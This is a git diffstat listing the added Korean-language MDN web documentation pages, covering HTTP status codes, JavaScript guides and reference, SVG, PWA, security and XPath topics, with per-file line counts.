files/ko/web/http/status/501/index.html | 48 + files/ko/web/http/status/502/index.html | 49 + files/ko/web/http/status/503/index.html | 55 + files/ko/web/http/status/504/index.html | 50 + files/ko/web/http/status/505/index.html | 33 + files/ko/web/http/status/index.html | 194 ++ .../index.html" | 296 ++ files/ko/web/index.html | 109 + files/ko/web/javascript/about/index.html | 58 + files/ko/web/javascript/data_structures/index.html | 221 ++ .../index.html | 63 + .../index.html | 331 ++ .../equality_comparisons_and_sameness/index.html | 503 +++ files/ko/web/javascript/eventloop/index.html | 147 + files/ko/web/javascript/guide/closures/index.html | 454 +++ .../control_flow_and_error_handling/index.html | 433 +++ .../guide/expressions_and_operators/index.html | 926 ++++++ files/ko/web/javascript/guide/index.html | 138 + .../guide/indexed_collections/index.html | 456 +++ .../inheritance_and_the_prototype_chain/index.html | 531 ++++ .../guide/iterators_and_generators/index.html | 193 ++ .../javascript/guide/keyed_collections/index.html | 149 + .../guide/loops_and_iteration/index.html | 332 ++ files/ko/web/javascript/guide/modules/index.html | 414 +++ .../javascript/guide/numbers_and_dates/index.html | 384 +++ .../core_javascript_1.5_guide/about/index.html | 109 + .../index.html | 26 + .../core_javascript_1.5_guide/constants/index.html | 28 + .../creating_a_regular_expression/index.html | 35 + .../defining_getters_and_setters/index.html | 84 + .../defining_methods/index.html | 43 + .../index.html | 11 + .../deleting_properties/index.html | 20 + .../creating_new_objects/index.html | 6 + .../indexing_object_properties/index.html | 9 + .../using_a_constructor_function/index.html | 58 + .../using_this_for_object_references/index.html | 25 + .../expressions/index.html | 16 + .../javascript_overview/index.html | 44 + .../core_javascript_1.5_guide/literals/index.html | 174 ++ .../objects_and_properties/index.html | 39 + .../operators/arithmetic_operators/index.html | 44 + .../operators/assignment_operators/index.html | 62 + .../operators/bitwise_operators/index.html | 101 + .../core_javascript_1.5_guide/operators/index.html | 108 + .../operators/logical_operators/index.html | 68 + .../operators/special_operators/index.html | 228 ++ .../operators/string_operators/index.html | 11 + .../array_object/index.html | 133 + .../predefined_core_objects/index.html | 20 + .../core_javascript_1.5_guide/unicode/index.html | 109 + .../core_javascript_1.5_guide/values/index.html | 39 + .../core_javascript_1.5_guide/variables/index.html | 64 + .../javascript/guide/text_formatting/index.html | 275 ++ .../web/javascript/guide/using_promises/index.html | 361 +++ .../values,_variables,_and_literals/index.html | 708 +++++ .../guide/working_with_objects/index.html | 500 +++ .../index.html" | 714 +++++ .../index.html" | 258 ++ .../guide/\354\206\214\352\260\234/index.html" | 153 + .../assertions/index.html" | 244 ++ .../groups_and_ranges/index.html" | 91 + .../index.html" | 666 ++++ .../guide/\355\225\250\354\210\230/index.html" | 658 ++++ files/ko/web/javascript/index.html | 118 + .../index.html | 289 ++ .../javascript_technologies_overview/index.html | 83 + .../ko/web/javascript/memory_management/index.html | 183 ++ .../javascript/new_in_javascript/1.5/index.html | 37 + .../javascript/new_in_javascript/1.6/index.html | 85 + .../javascript/new_in_javascript/1.8.1/index.html | 26 + .../javascript/new_in_javascript/1.8.5/index.html | 126 + .../javascript/new_in_javascript/1.8/index.html | 138 + .../ecmascript_5_support_in_mozilla/index.html | 45 + .../ecmascript_6_support_in_mozilla/index.html | 285 ++ .../ko/web/javascript/new_in_javascript/index.html | 71 + files/ko/web/javascript/reference/about/index.html | 51 + .../reference/classes/class_fields/index.html | 396 +++ .../reference/classes/constructor/index.html | 128 + .../reference/classes/extends/index.html | 112 + .../ko/web/javascript/reference/classes/index.html | 402 +++ .../classes/private_class_fields/index.html | 201 ++ .../javascript/reference/classes/static/index.html | 136 + .../deprecated_and_obsolete_features/index.html | 290 ++ .../reference/errors/bad_octal/index.html | 45 + .../reference/errors/bad_radix/index.html | 57 + .../reference/errors/bad_regexp_flag/index.html | 107 + .../errors/bad_return_or_yield/index.html | 51 + .../index.html | 56 + .../errors/delete_in_strict_mode/index.html | 71 + .../index.html | 70 + .../reference/errors/deprecated_octal/index.html | 64 + .../errors/identifier_after_number/index.html | 57 + .../reference/errors/illegal_character/index.html | 81 + .../ko/web/javascript/reference/errors/index.html | 12 + .../errors/invalid_array_length/index.html | 73 + .../invalid_assignment_left-hand_side/index.html | 50 + .../reference/errors/invalid_date/index.html | 50 + .../errors/invalid_for-in_initializer/index.html | 75 + .../errors/invalid_for-of_initializer/index.html | 64 + .../reference/errors/is_not_iterable/index.html | 106 + .../reference/errors/json_bad_parse/index.html | 105 + .../errors/malformed_formal_parameter/index.html | 57 + .../errors/missing_bracket_after_list/index.html | 56 + .../missing_colon_after_property_id/index.html | 78 + .../missing_curly_after_property_list/index.html | 47 + .../errors/missing_initializer_in_const/index.html | 55 + .../missing_name_after_dot_operator/index.html | 63 + .../index.html | 38 + .../missing_parenthesis_after_condition/index.html | 65 + .../missing_semicolon_before_statement/index.html | 63 + .../errors/more_arguments_needed/index.html | 45 + .../errors/negative_repetition_count/index.html | 40 + .../reference/errors/no_variable_name/index.html | 79 + .../reference/errors/not_a_codepoint/index.html | 51 + .../reference/errors/not_a_constructor/index.html | 91 + .../reference/errors/not_defined/index.html | 66 + .../reference/errors/precision_range/index.html | 92 + .../errors/property_access_denied/index.html | 42 + .../reference/errors/read-only/index.html | 77 + .../index.html | 83 + .../errors/reserved_identifier/index.html | 80 + .../errors/resulting_string_too_large/index.html | 46 + .../errors/strict_non_simple_params/index.html | 107 + .../reference/errors/too_much_recursion/index.html | 50 + .../reference/errors/undeclared_var/index.html | 62 + .../reference/errors/undefined_prop/index.html | 58 + .../reference/errors/unexpected_token/index.html | 49 + .../reference/errors/unexpected_type/index.html | 67 + .../errors/unnamed_function_statement/index.html | 118 + .../functions/arguments/@@iterator/index.html | 78 + .../functions/arguments/callee/index.html | 203 ++ .../functions/arguments/caller/index.html | 93 + .../reference/functions/arguments/index.html | 189 ++ .../functions/arguments/length/index.html | 74 + .../functions/default_parameters/index.html | 239 ++ .../javascript/reference/functions/get/index.html | 179 ++ .../web/javascript/reference/functions/index.html | 596 ++++ .../functions/method_definitions/index.html | 230 ++ .../reference/functions/rest_parameters/index.html | 223 ++ .../javascript/reference/functions/set/index.html | 208 ++ .../index.html" | 465 +++ .../global_objects/aggregateerror/index.html | 87 + .../global_objects/array/@@iterator/index.html | 84 + .../global_objects/array/@@species/index.html | 75 + .../global_objects/array/@@unscopables/index.html | 72 + .../global_objects/array/array/index.html | 86 + .../global_objects/array/concat/index.html | 138 + .../global_objects/array/copywithin/index.html | 183 ++ .../global_objects/array/entries/index.html | 89 + .../global_objects/array/every/index.html | 191 ++ .../reference/global_objects/array/fill/index.html | 146 + .../global_objects/array/filter/index.html | 231 ++ .../reference/global_objects/array/find/index.html | 226 ++ .../global_objects/array/findindex/index.html | 146 + .../reference/global_objects/array/flat/index.html | 160 + .../global_objects/array/flatmap/index.html | 148 + .../global_objects/array/foreach/index.html | 264 ++ .../reference/global_objects/array/from/index.html | 244 ++ .../global_objects/array/includes/index.html | 173 ++ .../reference/global_objects/array/index.html | 493 +++ .../global_objects/array/indexof/index.html | 196 ++ .../global_objects/array/isarray/index.html | 131 + .../reference/global_objects/array/join/index.html | 91 + .../reference/global_objects/array/keys/index.html | 69 + .../global_objects/array/lastindexof/index.html | 103 + .../global_objects/array/length/index.html | 135 + .../reference/global_objects/array/map/index.html | 293 ++ .../global_objects/array/observe/index.html | 87 + .../reference/global_objects/array/of/index.html | 104 + .../reference/global_objects/array/pop/index.html | 91 + .../reference/global_objects/array/push/index.html | 113 + .../global_objects/array/reduce/index.html | 573 ++++ .../global_objects/array/reduceright/index.html | 283 ++ .../global_objects/array/reverse/index.html | 87 + .../global_objects/array/shift/index.html | 102 + .../global_objects/array/slice/index.html | 155 + .../reference/global_objects/array/some/index.html | 202 ++ .../reference/global_objects/array/sort/index.html | 245 ++ .../global_objects/array/splice/index.html | 153 + .../global_objects/array/tolocalestring/index.html | 195 ++ .../global_objects/array/tosource/index.html | 71 + .../global_objects/array/tostring/index.html | 80 + .../global_objects/array/unshift/index.html | 91 + .../global_objects/array/values/index.html | 87 + .../arraybuffer/arraybuffer/index.html | 70 + .../arraybuffer/bytelength/index.html | 57 + .../global_objects/arraybuffer/index.html | 97 + .../global_objects/arraybuffer/isview/index.html | 76 + .../global_objects/arraybuffer/slice/index.html | 77 + .../global_objects/asyncfunction/index.html | 125 + .../reference/global_objects/atomics/index.html | 162 + .../global_objects/bigint/bigint/index.html | 62 + .../reference/global_objects/bigint/index.html | 280 ++ .../global_objects/bigint/prototype/index.html | 59 + .../global_objects/boolean/boolean/index.html | 55 + .../reference/global_objects/boolean/index.html | 108 + .../global_objects/boolean/prototype/index.html | 81 + .../global_objects/boolean/tostring/index.html | 69 + .../global_objects/boolean/valueof/index.html | 67 + .../global_objects/dataview/dataview/index.html | 75 + .../reference/global_objects/dataview/index.html | 168 + .../global_objects/date/getdate/index.html | 84 + .../global_objects/date/getday/index.html | 95 + .../global_objects/date/getfullyear/index.html | 88 + .../global_objects/date/gethours/index.html | 83 + .../global_objects/date/getmilliseconds/index.html | 81 + .../global_objects/date/getminutes/index.html | 83 + .../global_objects/date/getmonth/index.html | 94 + .../global_objects/date/getseconds/index.html | 83 + .../global_objects/date/gettime/index.html | 139 + .../date/gettimezoneoffset/index.html | 119 + .../global_objects/date/getutcdate/index.html | 118 + .../global_objects/date/getutcday/index.html | 118 + .../global_objects/date/getutcfullyear/index.html | 121 + .../global_objects/date/getutchours/index.html | 117 + .../date/getutcmilliseconds/index.html | 117 + .../global_objects/date/getutcminutes/index.html | 117 + .../global_objects/date/getutcmonth/index.html | 117 + .../global_objects/date/getutcseconds/index.html | 117 + .../reference/global_objects/date/index.html | 239 ++ .../reference/global_objects/date/now/index.html | 119 + .../reference/global_objects/date/parse/index.html | 231 ++ .../global_objects/date/prototype/index.html | 182 ++ .../global_objects/date/setdate/index.html | 127 + .../global_objects/date/setfullyear/index.html | 133 + .../global_objects/date/sethours/index.html | 138 + .../global_objects/date/setmilliseconds/index.html | 126 + .../global_objects/date/setminutes/index.html | 136 + .../global_objects/date/setmonth/index.html | 147 + .../global_objects/date/setseconds/index.html | 134 + .../global_objects/date/settime/index.html | 127 + .../global_objects/date/setutcdate/index.html | 126 + .../global_objects/date/setutcfullyear/index.html | 132 + .../global_objects/date/setutchours/index.html | 134 + .../date/setutcmilliseconds/index.html | 126 + .../global_objects/date/setutcminutes/index.html | 132 + .../global_objects/date/setutcmonth/index.html | 130 + .../global_objects/date/setutcseconds/index.html | 130 + .../global_objects/date/todatestring/index.html | 82 + .../global_objects/date/toisostring/index.html | 107 + .../global_objects/date/tojson/index.html | 81 + .../global_objects/date/tostring/index.html | 125 + .../reference/global_objects/date/utc/index.html | 139 + .../global_objects/date/valueof/index.html | 79 + .../reference/global_objects/decodeuri/index.html | 101 + .../global_objects/decodeuricomponent/index.html | 92 + .../reference/global_objects/encodeuri/index.html | 111 + .../global_objects/encodeuricomponent/index.html | 148 + .../reference/global_objects/error/index.html | 240 ++ .../reference/global_objects/error/name/index.html | 72 + .../reference/global_objects/eval/index.html | 285 ++ .../reference/global_objects/evalerror/index.html | 112 + .../global_objects/function/apply/index.html | 236 ++ .../global_objects/function/arguments/index.html | 60 + .../global_objects/function/bind/index.html | 296 ++ .../global_objects/function/call/index.html | 197 ++ .../reference/global_objects/function/index.html | 167 + .../global_objects/function/length/index.html | 80 + .../global_objects/function/name/index.html | 191 ++ .../global_objects/function/tosource/index.html | 71 + .../reference/global_objects/generator/index.html | 186 ++ .../global_objects/generator/next/index.html | 153 + .../global_objects/generator/return/index.html | 132 + .../global_objects/generator/throw/index.html | 99 + .../global_objects/generatorfunction/index.html | 112 + .../reference/global_objects/globalthis/index.html | 89 + .../javascript/reference/global_objects/index.html | 204 ++ .../reference/global_objects/infinity/index.html | 65 + .../global_objects/internalerror/index.html | 120 + .../internalerror/prototype/index.html | 100 + .../global_objects/intl/datetimeformat/index.html | 303 ++ .../intl/datetimeformat/prototype/index.html | 86 + .../reference/global_objects/intl/index.html | 134 + .../global_objects/intl/locale/index.html | 77 + .../global_objects/intl/locale/language/index.html | 62 + .../global_objects/intl/numberformat/index.html | 198 ++ .../intl/numberformat/prototype/index.html | 85 + .../reference/global_objects/isfinite/index.html | 84 + .../reference/global_objects/isnan/index.html | 190 ++ .../reference/global_objects/json/index.html | 122 + .../reference/global_objects/json/parse/index.html | 123 + .../global_objects/json/stringify/index.html | 230 ++ .../global_objects/map/@@tostringtag/index.html | 51 + .../reference/global_objects/map/clear/index.html | 75 + .../reference/global_objects/map/delete/index.html | 79 + .../global_objects/map/entries/index.html | 78 + .../global_objects/map/foreach/index.html | 98 + .../reference/global_objects/map/get/index.html | 80 + .../reference/global_objects/map/has/index.html | 81 + .../reference/global_objects/map/index.html | 244 ++ .../reference/global_objects/map/map/index.html | 60 + .../global_objects/map/prototype/index.html | 86 + .../reference/global_objects/map/set/index.html | 96 + .../reference/global_objects/map/size/index.html | 62 + .../reference/global_objects/math/abs/index.html | 104 + .../reference/global_objects/math/acos/index.html | 103 + .../reference/global_objects/math/cbrt/index.html | 98 + .../reference/global_objects/math/ceil/index.html | 209 ++ .../reference/global_objects/math/e/index.html | 84 + .../reference/global_objects/math/exp/index.html | 90 + .../reference/global_objects/math/floor/index.html | 171 ++ .../global_objects/math/fround/index.html | 130 + .../reference/global_objects/math/imul/index.html | 130 + .../reference/global_objects/math/index.html | 155 + .../reference/global_objects/math/ln10/index.html | 84 + .../reference/global_objects/math/ln2/index.html | 86 + .../reference/global_objects/math/log/index.html | 104 + .../global_objects/math/log10e/index.html | 84 + .../reference/global_objects/math/log2/index.html | 96 + .../reference/global_objects/math/log2e/index.html | 84 + .../reference/global_objects/math/max/index.html | 110 + .../reference/global_objects/math/min/index.html | 103 + .../reference/global_objects/math/pi/index.html | 82 + .../global_objects/math/random/index.html | 106 + .../reference/global_objects/math/round/index.html | 92 + .../reference/global_objects/math/sign/index.html | 112 + .../reference/global_objects/math/sin/index.html | 97 + .../reference/global_objects/math/sinh/index.html | 96 + .../reference/global_objects/math/sqrt/index.html | 90 + .../global_objects/math/sqrt1_2/index.html | 59 + .../reference/global_objects/math/sqrt2/index.html | 74 + .../reference/global_objects/math/tan/index.html | 102 + .../reference/global_objects/math/tanh/index.html | 85 + .../reference/global_objects/math/trunc/index.html | 96 + .../reference/global_objects/nan/index.html | 91 + .../reference/global_objects/null/index.html | 69 + .../global_objects/number/epsilon/index.html | 61 + .../reference/global_objects/number/index.html | 177 ++ .../global_objects/number/isfinite/index.html | 90 + .../global_objects/number/isinteger/index.html | 96 + .../global_objects/number/isnan/index.html | 100 + .../global_objects/number/issafeinteger/index.html | 100 + .../number/max_safe_integer/index.html | 76 + .../global_objects/number/max_value/index.html | 81 + .../number/min_safe_integer/index.html | 66 + .../global_objects/number/min_value/index.html | 84 + .../reference/global_objects/number/nan/index.html | 62 + .../number/negative_infinity/index.html | 82 + .../global_objects/number/parsefloat/index.html | 79 + .../global_objects/number/parseint/index.html | 78 + .../number/positive_infinity/index.html | 82 + .../global_objects/number/prototype/index.html | 90 + .../global_objects/number/toexponential/index.html | 108 + .../global_objects/number/tofixed/index.html | 109 + .../global_objects/number/toprecision/index.html | 110 + .../global_objects/number/tostring/index.html | 112 + .../global_objects/number/valueof/index.html | 86 + .../object/__definegetter__/index.html | 99 + .../global_objects/object/assign/index.html | 284 ++ .../global_objects/object/constructor/index.html | 155 + .../global_objects/object/create/index.html | 271 ++ .../object/defineproperties/index.html | 191 ++ .../object/defineproperty/index.html | 417 +++ .../global_objects/object/entries/index.html | 145 + .../global_objects/object/freeze/index.html | 257 ++ .../global_objects/object/fromentries/index.html | 98 + .../object/getownpropertydescriptor/index.html | 126 + .../object/getprototypeof/index.html | 134 + .../object/hasownproperty/index.html | 146 + .../reference/global_objects/object/index.html | 177 ++ .../reference/global_objects/object/is/index.html | 124 + .../global_objects/object/isextensible/index.html | 110 + .../global_objects/object/isfrozen/index.html | 155 + .../global_objects/object/isprototypeof/index.html | 111 + .../global_objects/object/issealed/index.html | 128 + .../global_objects/object/observe/index.html | 193 ++ .../object/preventextensions/index.html | 126 + .../object/propertyisenumerable/index.html | 146 + .../global_objects/object/prototype/index.html | 218 ++ .../global_objects/object/seal/index.html | 135 + .../object/setprototypeof/index.html | 242 ++ .../object/tolocalestring/index.html | 86 + .../global_objects/object/tostring/index.html | 134 + .../global_objects/object/valueof/index.html | 118 + .../global_objects/object/values/index.html | 98 + .../reference/global_objects/parsefloat/index.html | 120 + .../reference/global_objects/parseint/index.html | 220 ++ .../global_objects/promise/all/index.html | 239 ++ .../global_objects/promise/allsettled/index.html | 66 + .../global_objects/promise/finally/index.html | 100 + .../reference/global_objects/promise/index.html | 226 ++ .../global_objects/promise/promise/index.html | 78 + .../global_objects/promise/prototype/index.html | 71 + .../global_objects/promise/race/index.html | 187 ++ .../global_objects/promise/reject/index.html | 81 + .../global_objects/promise/resolve/index.html | 162 + .../global_objects/promise/then/index.html | 308 ++ .../global_objects/proxy/handler/apply/index.html | 154 + .../global_objects/proxy/handler/index.html | 81 + .../reference/global_objects/proxy/index.html | 394 +++ .../reference/global_objects/rangeerror/index.html | 163 + .../global_objects/referenceerror/index.html | 129 + .../global_objects/reflect/apply/index.html | 93 + .../global_objects/reflect/construct/index.html | 154 + .../reflect/defineproperty/index.html | 100 + .../reflect/deleteproperty/index.html | 98 + .../global_objects/reflect/get/index.html | 100 + .../reflect/getownpropertydescriptor/index.html | 103 + .../reflect/getprototypeof/index.html | 104 + .../global_objects/reflect/has/index.html | 97 + .../reference/global_objects/reflect/index.html | 106 + .../global_objects/reflect/isextensible/index.html | 111 + .../global_objects/reflect/ownkeys/index.html | 95 + .../reflect/preventextensions/index.html | 103 + .../global_objects/reflect/set/index.html | 108 + .../reflect/setprototypeof/index.html | 88 + .../global_objects/regexp/exec/index.html | 188 ++ .../reference/global_objects/regexp/index.html | 233 ++ .../reference/global_objects/regexp/n/index.html | 66 + .../global_objects/regexp/regexp/index.html | 114 + .../global_objects/regexp/test/index.html | 129 + .../reference/global_objects/set/add/index.html | 83 + .../reference/global_objects/set/clear/index.html | 76 + .../reference/global_objects/set/delete/index.html | 98 + .../global_objects/set/foreach/index.html | 117 + .../reference/global_objects/set/has/index.html | 93 + .../reference/global_objects/set/index.html | 237 ++ .../global_objects/set/prototype/index.html | 86 + .../reference/global_objects/set/size/index.html | 69 + .../reference/global_objects/set/values/index.html | 72 + .../global_objects/sharedarraybuffer/index.html | 137 + .../sharedarraybuffer/prototype/index.html | 65 + .../global_objects/string/charat/index.html | 260 ++ .../global_objects/string/charcodeat/index.html | 169 + .../global_objects/string/concat/index.html | 105 + .../global_objects/string/endswith/index.html | 142 + .../global_objects/string/fromcharcode/index.html | 101 + .../global_objects/string/includes/index.html | 125 + .../reference/global_objects/string/index.html | 298 ++ .../global_objects/string/indexof/index.html | 159 + .../global_objects/string/lastindexof/index.html | 105 + .../global_objects/string/length/index.html | 84 + .../global_objects/string/localecompare/index.html | 159 + .../global_objects/string/match/index.html | 156 + .../global_objects/string/normalize/index.html | 163 + .../global_objects/string/padend/index.html | 99 + .../global_objects/string/padstart/index.html | 104 + .../global_objects/string/prototype/index.html | 218 ++ .../global_objects/string/repeat/index.html | 113 + .../global_objects/string/replace/index.html | 299 ++ .../global_objects/string/search/index.html | 100 + .../global_objects/string/slice/index.html | 129 + .../global_objects/string/split/index.html | 231 ++ .../global_objects/string/startswith/index.html | 95 + .../global_objects/string/substr/index.html | 131 + .../global_objects/string/substring/index.html | 190 ++ .../global_objects/string/tolowercase/index.html | 83 + .../global_objects/string/tosource/index.html | 49 + .../global_objects/string/tostring/index.html | 59 + .../global_objects/string/touppercase/index.html | 105 + .../global_objects/string/trim/index.html | 97 + .../global_objects/string/valueof/index.html | 83 + .../reference/global_objects/symbol/for/index.html | 150 + .../reference/global_objects/symbol/index.html | 233 ++ .../global_objects/symbol/iterator/index.html | 95 + .../global_objects/syntaxerror/index.html | 123 + .../syntaxerror/prototype/index.html | 126 + .../typedarray/@@iterator/index.html | 127 + .../global_objects/typedarray/buffer/index.html | 111 + .../typedarray/bytelength/index.html | 73 + .../typedarray/byteoffset/index.html | 69 + .../typedarray/bytes_per_element/index.html | 75 + .../global_objects/typedarray/fill/index.html | 75 + .../reference/global_objects/typedarray/index.html | 342 +++ .../global_objects/typedarray/indexof/index.html | 80 + .../global_objects/typedarray/length/index.html | 68 + .../global_objects/typedarray/name/index.html | 70 + .../global_objects/typedarray/of/index.html | 92 + .../global_objects/typedarray/prototype/index.html | 175 ++ .../global_objects/typedarray/reverse/index.html | 69 + .../global_objects/typedarray/set/index.html | 95 + .../global_objects/typedarray/slice/index.html | 129 + .../global_objects/typedarray/some/index.html | 106 + .../global_objects/typedarray/sort/index.html | 119 + .../global_objects/typedarray/values/index.html | 127 + .../reference/global_objects/typeerror/index.html | 123 + .../reference/global_objects/undefined/index.html | 138 + .../reference/global_objects/uneval/index.html | 67 + .../global_objects/weakmap/delete/index.html | 80 + .../reference/global_objects/weakmap/index.html | 283 ++ .../global_objects/weakmap/prototype/index.html | 142 + .../reference/global_objects/weakset/index.html | 108 + .../global_objects/weakset/prototype/index.html | 141 + .../global_objects/webassembly/compile/index.html | 83 + .../webassembly/compileerror/index.html | 114 + .../webassembly/compilestreaming/index.html | 79 + .../global_objects/webassembly/global/index.html | 116 + .../webassembly/global/prototype/index.html | 69 + .../global_objects/webassembly/index.html | 100 + .../global_objects/webassembly/instance/index.html | 74 + .../webassembly/instantiate/index.html | 168 + .../webassembly/instantiatestreaming/index.html | 83 + .../webassembly/linkerror/index.html | 113 + .../global_objects/webassembly/memory/index.html | 112 + .../global_objects/webassembly/module/index.html | 83 + .../webassembly/runtimeerror/index.html | 111 + .../global_objects/webassembly/table/index.html | 130 + .../global_objects/webassembly/validate/index.html | 75 + files/ko/web/javascript/reference/index.html | 48 + .../reference/iteration_protocols/index.html | 394 +++ .../reference/lexical_grammar/index.html | 657 ++++ .../javascript/reference/liveconnect/index.html | 17 + .../reference/operators/addition/index.html | 77 + .../operators/arithmetic_operators/index.html | 290 ++ .../operators/assignment_operators/index.html | 394 +++ .../reference/operators/async_function/index.html | 96 + .../reference/operators/await/index.html | 137 + .../operators/bitwise_operators/index.html | 540 ++++ .../reference/operators/class/index.html | 100 + .../reference/operators/comma_operator/index.html | 91 + .../operators/comparison_operators/index.html | 215 ++ .../operators/conditional_operator/index.html | 193 ++ .../reference/operators/delete/index.html | 282 ++ .../operators/destructuring_assignment/index.html | 409 +++ .../reference/operators/equality/index.html | 123 + .../operators/expression_closures/index.html | 79 + .../reference/operators/function/index.html | 154 + .../reference/operators/function_star_/index.html | 85 + .../operators/generator_comprehensions/index.html | 174 ++ .../reference/operators/grouping/index.html | 92 + .../javascript/reference/operators/in/index.html | 188 ++ .../web/javascript/reference/operators/index.html | 304 ++ .../reference/operators/instanceof/index.html | 161 + .../reference/operators/new.target/index.html | 93 + .../javascript/reference/operators/new/index.html | 187 ++ .../nullish_coalescing_operator/index.html | 161 + .../operators/object_initializer/index.html | 302 ++ .../operators/optional_chaining/index.html | 187 ++ .../operators/pipeline_operator/index.html | 76 + .../operators/property_accessors/index.html | 153 + .../reference/operators/remainder/index.html | 73 + .../reference/operators/spread_syntax/index.html | 255 ++ .../reference/operators/super/index.html | 176 ++ .../javascript/reference/operators/this/index.html | 398 +++ .../reference/operators/typeof/index.html | 227 ++ .../javascript/reference/operators/void/index.html | 122 + .../reference/operators/yield/index.html | 182 ++ .../reference/operators/yield_star_/index.html | 164 + .../index.html" | 249 ++ .../operators/\353\260\260\354\227\264/index.html" | 200 ++ .../index.html" | 462 +++ .../reference/statements/async_function/index.html | 243 ++ .../reference/statements/block/index.html | 132 + .../reference/statements/break/index.html | 119 + .../reference/statements/class/index.html | 119 + .../reference/statements/const/index.html | 136 + .../reference/statements/continue/index.html | 164 + .../reference/statements/debugger/index.html | 79 + .../reference/statements/default/index.html | 121 + .../reference/statements/do...while/index.html | 78 + .../reference/statements/empty/index.html | 102 + .../reference/statements/export/index.html | 199 ++ .../reference/statements/for-await...of/index.html | 144 + .../reference/statements/for...in/index.html | 176 ++ .../reference/statements/for...of/index.html | 228 ++ .../javascript/reference/statements/for/index.html | 160 + .../reference/statements/for_each...in/index.html | 85 + .../reference/statements/function/index.html | 177 ++ .../reference/statements/function_star_/index.html | 159 + .../reference/statements/if...else/index.html | 177 ++ .../reference/statements/import/index.html | 156 + .../web/javascript/reference/statements/index.html | 143 + .../reference/statements/label/index.html | 241 ++ .../javascript/reference/statements/let/index.html | 246 ++ .../reference/statements/return/index.html | 159 + .../reference/statements/switch/index.html | 306 ++ .../reference/statements/throw/index.html | 198 ++ .../reference/statements/try...catch/index.html | 273 ++ .../javascript/reference/statements/var/index.html | 195 ++ .../reference/statements/while/index.html | 142 + .../reference/statements/with/index.html | 127 + .../javascript/reference/strict_mode/index.html | 383 +++ .../transitioning_to_strict_mode/index.html | 137 + .../reference/template_literals/index.html | 254 ++ .../reference/trailing_commas/index.html | 185 ++ files/ko/web/javascript/typed_arrays/index.html | 222 ++ "files/ko/web/javascript/\354\211\230/index.html" | 40 + .../index.html" | 327 ++ .../index.html" | 155 + files/ko/web/manifest/index.html | 121 + files/ko/web/mathml/index.html | 65 + files/ko/web/media/autoplay_guide/index.html | 262 ++ files/ko/web/media/formats/index.html | 86 + .../index.html" | 1646 ++++++++++ .../index.html" | 1279 ++++++++ .../index.html" | 971 ++++++ files/ko/web/media/index.html | 81 + files/ko/web/performance/index.html | 291 ++ .../index.html" | 204 ++ .../index.html" | 60 + .../add_to_home_screen/index.html | 218 ++ .../progressive_web_apps/app_structure/index.html | 283 ++ files/ko/web/progressive_web_apps/index.html | 76 + .../installable_pwas/index.html | 123 + .../offline_service_workers/index.html | 205 ++ .../re-engageable_notifications_push/index.html | 253 ++ .../\354\206\214\352\260\234/index.html" | 92 + files/ko/web/security/index.html | 24 + .../ko/web/security/insecure_passwords/index.html | 67 + .../ko/web/security/same-origin_policy/index.html | 271 ++ .../security/transport_layer_security/index.html | 110 + .../index.html" | 28 + .../index.html" | 99 + .../index.html | 229 ++ files/ko/web/svg/attribute/calcmode/index.html | 55 + files/ko/web/svg/attribute/cx/index.html | 67 + files/ko/web/svg/attribute/d/index.html | 575 ++++ files/ko/web/svg/attribute/index.html | 461 +++ files/ko/web/svg/attribute/keytimes/index.html | 87 + files/ko/web/svg/attribute/values/index.html | 86 + files/ko/web/svg/attribute/version/index.html | 35 + files/ko/web/svg/attribute/viewbox/index.html | 59 + files/ko/web/svg/element/a/index.html | 149 + files/ko/web/svg/element/altglyph/index.html | 79 + files/ko/web/svg/element/circle/index.html | 95 + files/ko/web/svg/element/ellipse/index.html | 110 + files/ko/web/svg/element/index.html | 218 ++ .../index.html" | 95 + files/ko/web/svg/index.html | 101 + files/ko/web/svg/tutorial/index.html | 36 + files/ko/web/svg/tutorial/introduction/index.html | 49 + files/ko/web/svg/tutorial/paths/index.html | 216 ++ files/ko/web/svg/tutorial/patterns/index.html | 72 + files/ko/web/svg/tutorial/svg_image_tag/index.html | 35 + .../tutorial/svg_in_html_introduction/index.html | 73 + .../index.html" | 141 + .../index.html" | 94 + .../tutorial/\354\234\204\354\271\230/index.html" | 45 + files/ko/web/tutorials/index.html | 186 ++ files/ko/web/web_components/index.html | 223 ++ .../using_custom_elements/index.html | 248 ++ .../web/web_components/using_shadow_dom/index.html | 230 ++ files/ko/web/xml/index.html | 17 + files/ko/web/xml/xml_introduction/index.html | 33 + .../ko/web/xpath/axes/ancestor-or-self/index.html | 7 + files/ko/web/xpath/axes/ancestor/index.html | 7 + files/ko/web/xpath/axes/attribute/index.html | 6 + files/ko/web/xpath/axes/child/index.html | 6 + .../web/xpath/axes/descendant-or-self/index.html | 6 + files/ko/web/xpath/axes/descendant/index.html | 6 + .../ko/web/xpath/axes/following-sibling/index.html | 6 + files/ko/web/xpath/axes/following/index.html | 6 + files/ko/web/xpath/axes/index.html | 70 + files/ko/web/xpath/axes/namespace/index.html | 10 + files/ko/web/xpath/axes/parent/index.html | 6 + .../ko/web/xpath/axes/preceding-sibling/index.html | 6 + files/ko/web/xpath/axes/preceding/index.html | 6 + files/ko/web/xpath/axes/self/index.html | 6 + files/ko/web/xpath/functions/boolean/index.html | 39 + files/ko/web/xpath/functions/ceiling/index.html | 41 + files/ko/web/xpath/functions/concat/index.html | 29 + files/ko/web/xpath/functions/contains/index.html | 47 + files/ko/web/xpath/functions/count/index.html | 29 + files/ko/web/xpath/functions/current/index.html | 61 + files/ko/web/xpath/functions/document/index.html | 61 + .../xpath/functions/element-available/index.html | 29 + files/ko/web/xpath/functions/false/index.html | 25 + files/ko/web/xpath/functions/floor/index.html | 32 + .../web/xpath/functions/format-number/index.html | 49 + .../xpath/functions/function-available/index.html | 29 + .../ko/web/xpath/functions/generate-id/index.html | 37 + files/ko/web/xpath/functions/id/index.html | 46 + files/ko/web/xpath/functions/index.html | 74 + files/ko/web/xpath/functions/key/index.html | 43 + files/ko/web/xpath/functions/lang/index.html | 55 + files/ko/web/xpath/functions/last/index.html | 23 + files/ko/web/xpath/functions/local-name/index.html | 33 + files/ko/web/xpath/functions/name/index.html | 33 + .../web/xpath/functions/namespace-uri/index.html | 36 + .../web/xpath/functions/normalize-space/index.html | 29 + files/ko/web/xpath/functions/not/index.html | 33 + files/ko/web/xpath/functions/number/index.html | 35 + files/ko/web/xpath/functions/position/index.html | 34 + files/ko/web/xpath/functions/round/index.html | 35 + .../ko/web/xpath/functions/starts-with/index.html | 42 + .../web/xpath/functions/string-length/index.html | 28 + files/ko/web/xpath/functions/string/index.html | 42 + .../web/xpath/functions/substring-after/index.html | 49 + .../xpath/functions/substring-before/index.html | 49 + files/ko/web/xpath/functions/substring/index.html | 55 